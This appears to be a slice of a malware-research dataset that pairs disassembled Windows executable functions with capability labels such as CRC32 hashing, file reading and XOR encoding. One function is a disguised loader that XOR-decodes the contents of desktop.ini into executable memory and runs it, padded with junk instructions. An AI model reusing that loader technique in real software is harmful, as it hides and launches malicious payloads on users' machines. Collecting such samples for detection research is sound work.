joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404750
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x41e024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push 0x5e
mov ebx, 1
push esi
mov dword [esi + 0xc04], ebx
call fcn.00409e46
add esp, 8
test eax, eax
je 0x404798
add dword [esi + 0xc04], ebx
inc eax
push 0x5e
push eax
call fcn.00409e46
add esp, 8
test eax, eax
jne 0x404782
shr dword [esi + 0xc04], 1
mov edi, esi
mov dword [esi + 0xc00], 0
je 0x404884
add dword [esi + 0xc00], ebx
push 0x5e
push edi
call fcn.00409e46
push 0xff
mov ebx, eax
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004094c0
mov ecx, ebx
sub ecx, edi
push ecx
lea edx, [ebp - 0x124]
push edi
push edx
call fcn.004091d3
inc ebx
push 0x5e
push ebx
call fcn.00409e46
mov edi, eax
xor eax, eax
add esp, 0x28
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
test edi, edi
jne 0x404824
lea edx, [ebp - 0x24]
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404818
jmp 0x404836
mov eax, edi
sub eax, ebx
push eax
lea ecx, [ebp - 0x24]
push ebx
push ecx
call fcn.004091d3
add esp, 0xc
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x124]
push eax
mov ecx, esi
call fcn.00404460
test al, al
jne 0x404862
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.fail_to_download_file
call ebx
lea ecx, [ebp - 0x124]
push ecx
call ebx
test edi, edi
je 0x404871
inc edi
mov ebx, 1
jmp 0x4047b0
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409472
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00409472
mov esp, ebp
pop ebp
ret
Function at 0x405670
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x40567e
xor eax, eax
pop ebp
ret
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push esi
not eax
cmp edx, 8
jb 0x40575d
mov esi, edx
shr esi, 3
push edi
jmp 0x4056a0
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x419c50]
add ecx, 8
sub edx, 8
dec esi
jne 0x4056a0
pop edi
test edx, edx
je 0x40577a
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x419c50]
inc ecx
dec edx
jne 0x405761
not eax
pop esi
pop ebp
ret

Function at 0x405780
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [edx]
movsx ecx, byte [ebp + 0xc]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x419c50]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x419c50]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x4057d0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xfffd
or eax, 2
mov edx, eax
xor edx, 1
imul edx, eax
mov al, byte [ebp + 0xc]
shr edx, 8
xor al, dl
mov edx, dword [esi]
push edi
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x419c50]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x419c50]
pop edi
mov dword [esi + 8], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x405c30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, ebx
imul esi, dword [ebp + 0x10]
cmp byte [edi], 0
je 0x405c70
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405c64
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x405c81
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.0040a790
add dword [edi + 0x1c], esi
add esp, 0xc
pop edi
mov eax, esi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret
Function at 0x405e50
Capabilities:
Print debug messages
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
mov edi, dword [ebp + 8]
cmp byte [edi], 0
je 0x405e9b
cmp byte [edi + 1], 0
je 0x405ea3
mov eax, dword [edi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
push ebx
je 0x405eb7
cmp byte [edi + 1], 0
je 0x405eab
mov eax, dword [edi + 4]
push 1
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub eax, dword [edi + 0xc]
mov ebx, eax
mov dword [ebp + 8], ebx
jmp 0x405ebf
mov ecx, dword [edi + 0x18]
mov dword [edi + 0x1c], ecx
jmp 0x405e75
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov dword [ebp + 8], 0
mov ebx, dword [ebp + 8]
jmp 0x405ebf
mov edx, dword [edi + 0x1c]
mov dword [ebp + 8], edx
mov ebx, edx
push esi
mov esi, 0xffff
mov dword [ebp - 4], esi
cmp ebx, esi
jae 0x405ed1
mov dword [ebp - 4], ebx
mov esi, ebx
push 0x404
call fcn.0040a5a3
add esp, 4
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x405eef
pop esi
pop ebx
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x10], 0xffffffff
cmp esi, eax
jbe 0x40600a
jmp 0x405f0e
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 8]
add eax, 0x400
mov dword [ebp - 8], esi
cmp eax, esi
ja 0x405f1d
mov dword [ebp - 8], eax
mov eax, ebx
sub eax, dword [ebp - 8]
sub ebx, eax
mov dword [ebp - 0x18], eax
cmp ebx, 0x404
jbe 0x405f34
mov ebx, 0x404
cmp byte [edi], 0
je 0x405f59
cmp byte [edi + 1], 0
je 0x40600a
mov ecx, dword [edi + 0xc]
mov edx, dword [edi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x405f5c
mov dword [edi + 0x1c], eax
cmp byte [edi], 0
mov esi, ebx
je 0x405f85
mov ecx, dword [ebp - 0xc]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405f80
mov byte [edi + 8], 1
mov eax, dword [ebp - 0x14]
jmp 0x405fae
mov eax, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x405f96
sub ecx, eax
mov esi, ecx
mov ecx, dword [edi + 0x14]
mov edx, dword [ebp - 0xc]
push esi
add ecx, eax
push ecx
push edx
call fcn.0040a790
add esp, 0xc
add dword [edi + 0x1c], esi
mov eax, esi
xor edx, edx
div ebx
cmp eax, 1
jne 0x40600a
lea esi, [ebx - 3]
test esi, esi
jle 0x405ff8
mov edi, edi
dec esi
jns 0x405fce
push str.ERROR:_i_is_negative_reading_before_start_of_buffer___
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 0xc]
cmp byte [esi + eax], 0x50
jne 0x405fec
cmp byte [esi + eax + 1], 0x4b
jne 0x405fec
cmp byte [esi + eax + 2], 5
jne 0x405fec
cmp byte [esi + eax + 3], 6
je 0x405ff2
test esi, esi
jg 0x405fc0
jmp 0x405ff8
add esi, dword [ebp - 0x18]
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], 0
jne 0x40600a
mov ecx, dword [ebp - 4]
cmp dword [ebp - 8], ecx
jb 0x405f05
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040a569
mov eax, dword [ebp - 0x10]
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x406dd0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41e024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
test ebx, ebx
je 0x406e50
push 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.004091d3
lea eax, [ebp - 0x20c]
add esp, 0xc
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406e10
sub eax, edx
je 0x406e2f
lea ecx, [ebp + eax - 0x20d]
mov al, byte [ecx]
cmp al, 0x2f
je 0x406e2c
cmp al, 0x5c
jne 0x406e2f
mov byte [ecx], 0
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406e50
push 0
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [edi]
test al, al
je 0x406f17
push esi
mov esi, edi
mov ecx, edi
nop
cmp al, 0x2f
je 0x406e68
cmp al, 0x5c
jne 0x406e6a
mov esi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x406e60
cmp esi, edi
je 0x406e9e
sub esi, edi
push esi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040a790
lea ecx, [ebp - 0x20c]
push ecx
push ebx
mov byte [ebp + esi - 0x20c], 0
call fcn.00406dd0
add esp, 0x14
mov byte [ebp - 0x108], 0
pop esi
test ebx, ebx
je 0x406ebf
push 0x104
lea edx, [ebp - 0x108]
push ebx
push edx
call fcn.004091d3
add esp, 0xc
lea eax, [ebp - 0x108]
mov byte [ebp - 5], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406ed0
sub eax, edx
mov ecx, 0x104
sub ecx, eax
push ecx
lea edx, [ebp + eax - 0x108]
push edi
push edx
call fcn.004091d3
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406f17
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00409472
mov esp, ebp
pop ebp
ret

Function at 0x408920
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4089df
cmp dword [esi + 4], 0xffffffff
jne 0x4089df
push edi
lea edi, [esi + 0x140]
push edi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408951
sub eax, edx
mov cl, byte [eax + esi + 0x13f]
cmp cl, 0x5c
je 0x408975
cmp cl, 0x2f
je 0x408975
mov word [eax + esi + 0x140], 0x2f
mov edi, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
cmp ebx, 1
jne 0x40899f
push 1
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40899f
pop ebx
pop edi
mov eax, 0x2000000
pop esi
pop ebp
ret 0xc
mov ecx, dword [ebp + 0xc]
lea eax, [ebp + 0x10]
push eax
push ebx
push ecx
push edi
call fcn.00405b20
add esp, 0x10
test eax, eax
jne 0x4089bf
mov eax, dword [ebp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
ret 0xc
push eax
call fcn.00408330
add esp, 4
mov dword [esi], eax
neg eax
sbb eax, eax
pop ebx
and eax, 0xfffffe00
pop edi
add eax, 0x200
pop esi
pop ebp
ret 0xc
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x409472
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e024]
jne 0x40947c
repz ret
jmp fcn.0040d136

Function at 0x40a6b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40a6d7
call fcn.0040bff6
mov dword [eax], esi
call fcn.0040bfe1
push 0x16
pop esi
mov dword [eax], esi
call fcn.0040bf8f
mov eax, esi
jmp 0x40a72c
test dword [ebp + 0xc], 0xfffffff9
jne 0x40a6bd
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40a704
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040c009
pop ecx
call fcn.0040bfe1
mov eax, dword [eax]
jmp 0x40a72c
test al, 0x10
jne 0x40a72a
test al, 1
je 0x40a72a
test byte [ebp + 0xc], 2
je 0x40a72a
call fcn.0040bff6
mov dword [eax], 5
call fcn.0040bfe1
mov dword [eax], 0xd
jmp 0x40a6fb
xor eax, eax
pop esi
pop ebp
ret
Function at 0x41367c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b7c2
and dword [ebp - 0x14], 0
cmp dword [0x41fe00], 0
mov dword [ebp - 0x18], eax
jne 0x41372f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4137d7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4137d7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41fe00], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41fe04], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41fe08], eax
call edi
push eax
call esi
mov dword [0x41fe10], eax
test eax, eax
je 0x41372f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41fe0c], eax
mov eax, dword [0x41fe0c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413788
cmp dword [0x41fe10], ecx
je 0x413788
push eax
call esi
push dword [0x41fe10]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413788
test ebx, ebx
je 0x413788
call edi
test eax, eax
je 0x41377f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41377f
test byte [ebp - 8], 1
jne 0x413788
or dword [ebp + 0x10], 0x200000
jmp 0x4137bb
mov eax, dword [0x41fe04]
cmp eax, dword [ebp - 0x18]
je 0x4137bb
push eax
call esi
test eax, eax
je 0x4137bb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4137bb
mov eax, dword [0x41fe08]
cmp eax, dword [ebp - 0x18]
je 0x4137bb
push eax
call esi
test eax, eax
je 0x4137bb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41fe00]
call esi
test eax, eax
je 0x4137d7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4137d9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409472
leave
ret
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x43b64d
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
dec ecx
call fcn.0043b686
sub esp, 4
mov dword [esp], 0x791d7de1
pop ecx
or esi, esi
add ecx, 0x4727c613
xor dword [edx], ebx
dec ecx
add edx, 1
add esi, ecx
cmp edx, eax
jne fcn.0043b64d
mov ecx, ecx
or esi, ecx
dec esi
ret
Function at 0x4f7234
Capabilities:
Get geographical location

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.004de969
mov ebp, dword [esp + 0x14]
mov esi, eax
xor ebx, ebx
add esi, 0x9c
cmp ebp, ebx
jne 0x4f7221
or dword [esi + 8], 0x104
jmp 0x4f72d2
lea eax, [ebp + 0x40]
cmp eax, ebx
lea edi, [esi + 4]
mov dword [esi], ebp
mov dword [edi], eax
je 0x4f7243
cmp byte [eax], bl
je 0x4f7243
push edi
push 0x16
push 0x5302c8
call fcn.004f6c80
add esp, 0xc
mov eax, dword [esi]
cmp eax, ebx
mov dword [esi + 8], ebx
je 0x4f7297
cmp byte [eax], bl
je 0x4f7297
mov eax, dword [edi]
cmp eax, ebx
je 0x4f7261
cmp byte [eax], bl
je 0x4f7261
call fcn.004f7159
jmp 0x4f7266
call fcn.004f71be
cmp dword [esi + 8], ebx
jne 0x4f72e7
push esi
push 0x40
push 0x5300c0
call fcn.004f6c80
add esp, 0xc
test eax, eax
je 0x4f72de
mov edi, dword [edi]
cmp edi, ebx
je 0x4f7290
cmp byte [edi], bl
je 0x4f7290
call fcn.004f7159
jmp 0x4f72de
call fcn.004f71be
jmp 0x4f72de
mov edi, dword [edi]
cmp edi, ebx
je 0x4f72cb
cmp byte [edi], bl
je 0x4f72cb
push edi
call fcn.004dd1e0
sub eax, 3
neg eax
pop ecx
sbb eax, eax
push 1
inc eax
push 0x4f6dc2
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.DLL_EnumSystemLocalesA]
test byte [esi + 8], 4
jne 0x4f72de
mov dword [esi + 8], ebx
jmp 0x4f72de
mov dword [esi + 8], 0x104
call dword [sym.imp.KERNEL32.DLL_GetUserDefaultLCID]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
cmp dword [esi + 8], ebx
je 0x4f73d6
mov ecx, ebp
add ebp, 0x80
neg ecx
sbb ecx, ecx
and ecx, ebp
mov edi, esi
call fcn.004f6ce0
mov ebx, eax
test ebx, ebx
je 0x4f73d6
cmp ebx, 0xfde8
je 0x4f73d6
cmp ebx, 0xfde9
je 0x4f73d6
movzx eax, bx
push eax
call dword [sym.imp.KERNEL32.DLL_IsValidCodePage]
test eax, eax
je 0x4f73d6
push 1
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.DLL_IsValidLocale]
test eax, eax
je 0x4f73d6
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4f735e
mov cx, word [esi + 0x18]
mov word [eax], cx
mov cx, word [esi + 0x1c]
mov word [eax + 2], cx
mov word [eax + 4], bx
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x4f73d1
cmp word [eax], 0x814
mov ebp, dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
jne 0x4f7398
push 0x53039c
push 0x40
push edi
call fcn.004e32cb
add esp, 0xc
test eax, eax
je 0x4f73a9
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00406c90
add esp, 0x14
jmp 0x4f73a9
push 0x40
push edi
push 0x1001
push dword [esi + 0x18]
call ebp
test eax, eax
je 0x4f73d6
push 0x40
lea eax, [edi + 0x40]
push eax
push 0x1002
push dword [esi + 0x1c]
call ebp
test eax, eax
je 0x4f73d6
push 0xa
push 0x10
add edi, 0x80
push edi
push ebx
call fcn.004e8a5c
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4f73d8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4fb82f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004de744
xor ebx, ebx
cmp dword [0x567388], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4fb905
push 0x53751c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4fb9e5
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x537510
push edi
call esi
cmp eax, ebx
je 0x4fb9e5
push eax
call fcn.004de6d6
mov dword [esp], 0x537500
push edi
mov dword [0x567388], eax
call esi
push eax
call fcn.004de6d6
mov dword [esp], 0x5374ec
push edi
mov dword [0x56738c], eax
call esi
push eax
call fcn.004de6d6
mov dword [0x567390], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004de21d
test eax, eax
pop ecx
pop ecx
je 0x4fb8d3
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00406c90
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4fb905
push 0x5374d0
push edi
call esi
push eax
call fcn.004de6d6
cmp eax, ebx
pop ecx
mov dword [0x567398], eax
je 0x4fb905
push 0x5374b8
push edi
call esi
push eax
call fcn.004de6d6
pop ecx
mov dword [0x567394], eax
mov eax, dword [0x567394]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4fb98a
cmp dword [0x567398], ecx
je 0x4fb98a
push eax
call fcn.004de74d
push dword [0x567398]
mov esi, eax
call fcn.004de74d
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4fb98a
cmp edi, ebx
je 0x4fb98a
call esi
cmp eax, ebx
je 0x4fb957
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4fb957
test byte [ebp - 0x18], 1
jne 0x4fb98a
lea eax, [ebp - 0x10]
push eax
call fcn.004de290
test eax, eax
pop ecx
je 0x4fb972
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00406c90
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4fb981
or dword [ebp + 0x10], 0x200000
jmp 0x4fb9c5
or dword [ebp + 0x10], 0x40000
jmp 0x4fb9c5
mov eax, dword [0x56738c]
cmp eax, dword [ebp - 8]
je 0x4fb9c5
push eax
call fcn.004de74d
cmp eax, ebx
pop ecx
je 0x4fb9c5
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4fb9c5
mov eax, dword [0x567390]
cmp eax, dword [ebp - 8]
je 0x4fb9c5
push eax
call fcn.004de74d
cmp eax, ebx
pop ecx
je 0x4fb9c5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x567388]
call fcn.004de74d
cmp eax, ebx
pop ecx
je 0x4fb9e5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4fb9e7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4ff5f6
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x5620a0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.004ff58b
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004de5f0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4ff645
cmp dword [ebp - 0x1c], 5
jb 0x4ff65d
jmp 0x4ff659
cmp dword [ebp - 0x10], 1
jne 0x4ff65d
cmp dword [ebp - 0x1c], 4
ja 0x4ff659
